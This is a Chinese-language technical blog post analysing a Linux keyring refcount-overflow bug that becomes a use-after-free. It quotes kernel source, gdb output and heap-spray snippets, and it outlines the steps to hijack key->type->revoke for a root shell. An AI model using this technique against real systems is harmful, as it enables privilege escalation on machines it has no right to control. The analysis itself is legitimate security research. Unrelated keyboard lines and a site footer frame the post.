66b52468c121889b900d4956032f1009.png

8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

0x0 序

本文深入分析今年初公开的一个Linux提权漏洞,分析该漏洞之前先介绍下Linux密钥保留服务,该服务主要用于在内核中缓存身份验证数据,使内核可以快速访问所需的密钥,还可以将密钥的操作(keyctl, add_key, request_key)委托给用户态进程,同时该服务定义了两个标准密钥类型user和keyring。每个进程都可以为当前会话创建或替换一个匿名或指定名称的keyring,keyring对象有一个usage字段保留进程对该对象的引用次数,漏洞发生在替换相同名称keyring时,usage引用计数泄露。

0x1 漏洞原因

先来看看内核中的漏洞函数:

long join_session_keyring(const char *name)

{

const struct cred *old;

struct cred *new;

struct key *keyring;

long ret, serial;

//从当前task拷贝一份cred对象

new = prepare_creds();

//other code

//...

//find_keyring_by_name查找到和name匹配的keyring对象后

//内部调用atomic_inc_not_zero(&keyring->usage),增加引用计数

keyring = find_keyring_by_name(name, false);

if (PTR_ERR(keyring) == -ENOKEY) {

keyring = keyring_alloc(

name, old->uid, old->gid, old,

KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,

KEY_ALLOC_IN_QUOTA, NULL);

if (IS_ERR(keyring)) {

ret = PTR_ERR(keyring);

goto error2;

}

} else if (IS_ERR(keyring)) {

ret = PTR_ERR(keyring);

goto error2;

} else if (keyring == new->session_keyring) {

ret = 0;

goto error2;//BUG在这里,直接跳到error2,没有调用key_put()减去引用计数

}

ret = install_session_keyring_to_cred(new, keyring);

if (ret < 0) goto error2; commit_creds(new); mutex_unlock(&key_session_mutex); ret = keyring->serial;

key_put(keyring); //减去引用计数

okay:

return ret;

error2:

mutex_unlock(&key_session_mutex);

error:

abort_creds(new);

return ret;

}

keyring->usage字段类型为atomic_t,实际上是一个int:

typedef struct {

int counter;

} atomic_t;

我们都知道int无论32位还是64位上都是4字节,那么在调用join_session_keyring 2^32次后,usage会上溢为0,从下面汇编片段也可以看到:

//atomic_inc_not_zero

gdb-peda$ disassemble $rip-0x10, $rip+30

Dump of assembler code from 0xffffffff812e790d to 0xffffffff812e793b:

0xffffffff812e790d : add BYTE PTR [rbp+0x455e75c0],al

0xffffffff812e7913 : test ch,ch

0xffffffff812e7915 : je 0xffffffff812e7958

0xffffffff812e7917 : mov edx,DWORD PTR [rbx]

0xffffffff812e7919 : test edx,edx

0xffffffff812e791b : je 0xffffffff812e7970

=> 0xffffffff812e791d : lea ecx,[rdx+0x1] //使用32位寄存器保存refcount

0xffffffff812e7920 : mov eax,edx

0xffffffff812e7922 : cmpxchg DWORD PTR ds:[rbx],ecx

0xffffffff812e7926 : cmp edx,eax

0xffffffff812e7928 : mov ecx,eax

0xffffffff812e792a : jne 0xffffffff812e7998

0xffffffff812e792c : call 0xffffffff810dd160

0xffffffff812e7931 : mov QWORD PTR [rbx+0x60],rax

0xffffffff812e7935 : sub DWORD PTR ds:[rip+0xca4f20],0x100

用户态下,可以调用keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)来调用内核的join_session_keyring函数,也就是说如果用户态调用2^32次keyctl的话,就可以使usage字段上溢为0,为漏洞利用埋下了伏笔。

0x2 漏洞利用

在内核上下文中,存在一个叫做key_garbage_collector的垃圾回收器,它的一个作用是遍历key serial tree,寻找usage字段为0的keyring,将该keyring添加到该函数的一个静态变量graveyard中,接着调用key_gc_unused_keys将keyring放回缓存:

/*

* Garbage collector for unused keys.

*/

static void key_garbage_collector(struct work_struct *work)

{

static LIST_HEAD(graveyard);

//other code

//...

spin_lock(&key_serial_lock);

cursor = rb_first(&key_serial_tree);

continue_scanning:

while (cursor)

{

key = rb_entry(cursor, struct key, serial_node);

cursor = rb_next(cursor);

if (atomic_read(&key->usage) == 0)//寻找usage为0的keyring

goto found_unreferenced_key; //跳转到found_unreferenced_key

//other code

//...

found_unreferenced_key:

kdebug("unrefd key %d", key->serial);

rb_erase(&key->serial_node, &key_serial_tree);

spin_unlock(&key_serial_lock);

list_add_tail(&key->graveyard_link, &graveyard);//添加到链表

gc_state |= KEY_GC_REAP_AGAIN;

goto maybe_resched; //跳转到maybe_resched,进行释放

//other code

//...

maybe_resched:

//other code

//...

if (!list_empty(&graveyard)) {

kdebug("gc keys");

key_gc_unused_keys(&graveyard);//内部调用kmem_cache_free()放回slab缓存

}

return;

}

}

贴一段gdb中,usage上溢为0后,key_gc_unused_keys()释放key时的状态:

6058841487f6410710a9f523c7b3cf9f.png

那么现在不就转化成了Use-After-Free了吗,从gdb和源码看struct key结构大小等于0xb8,如果现在申请一个大小0xb8的内核对象,并且内容可控的话,就有机会控制内核去执行用户态的一段shellcode了。

c728da080ff3201ec28aeff438839493.png

EXP中选择使用Linux IPC机制,发送消息msg来尝试占用原keyring对象的空间:

if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1)

{

perror("[-] msgget");

exit(1);

}

for (i = 0; i < 256; i++)

{

if (msgsnd(msgid, &msgp, sizeof(msgp.mtext), 0) == -1)

{

perror("[-] msgsnd");

exit(1);

}

}

用户态的msgsnd()在内核中会调用do_msgsnd(),do_msgsnd()根据用户态传递的buffer和size参数调用load_msg(mtext, msgsz),load_msg()先调用alloc_msg(msgsz)创建一个msg_msg结构体,然后拷贝用户空间的buffer紧跟msg_msg结构体的后面,相当于给buffer添加了一个头部,因为msg_msg结构体大小等于0x30,因此用户态的buffer大小等于0xb8 - 0x30

/* one msg_msg structure for each message */

struct msg_msg {

struct list_head m_list;

long m_type;

size_t m_ts;/* message text size */

struct msg_msgseg *next;

void *security;

/* the actual message follows immediately */

};

static struct msg_msg *alloc_msg(size_t len)

{

struct msg_msg *msg;

struct msg_msgseg **pseg;

size_t alen;

alen = min(len, DATALEN_MSG);

//从slab缓存申请内存,尝试占用keyring空间

msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL);

//other code

//....

return msg;

}

返回的msg_msg结构指针占用了keyring对象的空间并且内容就是buffer,接下来研究怎样构造用户态buffer的内容,才可以控制内核执行shellcode。

keyring实际上是一个struct key结构体,该结构体有一个成员type,类型为struct key_type*,比较幸运的是这个struct key_type里面大部分成员都是函数指针。如果buffer里面构造一个type指针,使其指向用户空间一个伪造的key_type结构体,这个结构体有一个函数指针指向shellcode,那么现在再去调用keyring->type的某个函数,不就使内核调用shellcode了吗!

struct key {

atomic_tusage;/* number of references */

key_serial_tserial;/* key serial number */

//other member

//...

* the key type and key description string

* - the desc is used to match a key against search criteria

* - it should be a printable string

* - eg: for krb5 AFS, this might be "[email protected]"

*/

union {

struct keyring_index_key index_key;

struct {

struct key_type*type;

char*description;

};

};

}

struct key_type {

/* name of the type */

const char *name;

//EXP中覆盖了此函数

void (*revoke)(struct key *key);

void (*destroy)(struct key *key);

//other member

//...

}

//由用户态keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING)调用

//此函数key->type->revoke,最终转向shellcode

void key_revoke(struct key *key)

{

//...

if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&

key->type->revoke)

key->type->revoke(key);

//...

}

下面这张图可以形象的描述上面过程,手绘轻喷:

f7873209abd78ace2904b9ed4fb6023a.png

下图gdb中看到key->type已经被修改,revoke指针指向shellcode:

7238772f2787b7bbf53dd387108bc54b.png

那么整个利用过程可分为以下几步:

调用2^32次join_session_keyring,使keyring->usage上溢为0

当usage为0,key_garbage_collector回收keyring对象空间,放入slab缓存

使用IPC发送message,申请的message大小和keyring对象一样大,尝试从slab取回原空间,并伪造key->type

调用keyring的revoke函数,触发内核执行shellcode

在EXP基础上加了个反弹shell,最终得到一个root shell:

36dfee6aa16ad4fc59fe6f7234263052.png

最后想说的是,尽管编译内核时候关闭了SMAP并再boot时加了nosmep,但是内核的RCU机制着实让成功利用此漏洞很艰难。join_session_keyring函数一开始调用prepare_creds()同步使keyring->usage += 1,函数结束时调用abort_creds()产生一个RCU callback,callback中会使keyring->usage -=1,这时就会产生一个问题,因为key_garbage_collector对usage字段是只读操作,并不需要等待callback完成。那么如果这时候usage并不为0,就不会放回slab缓存内,以至于后面IPC申请message不会得到keyring的地址。EXP中尝试使用sleep()来等待RCU完成,但是效果不太稳定。重要的是,漏洞本身是可以被利用的,从这个漏洞加强了Linux内核调试的技巧。

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐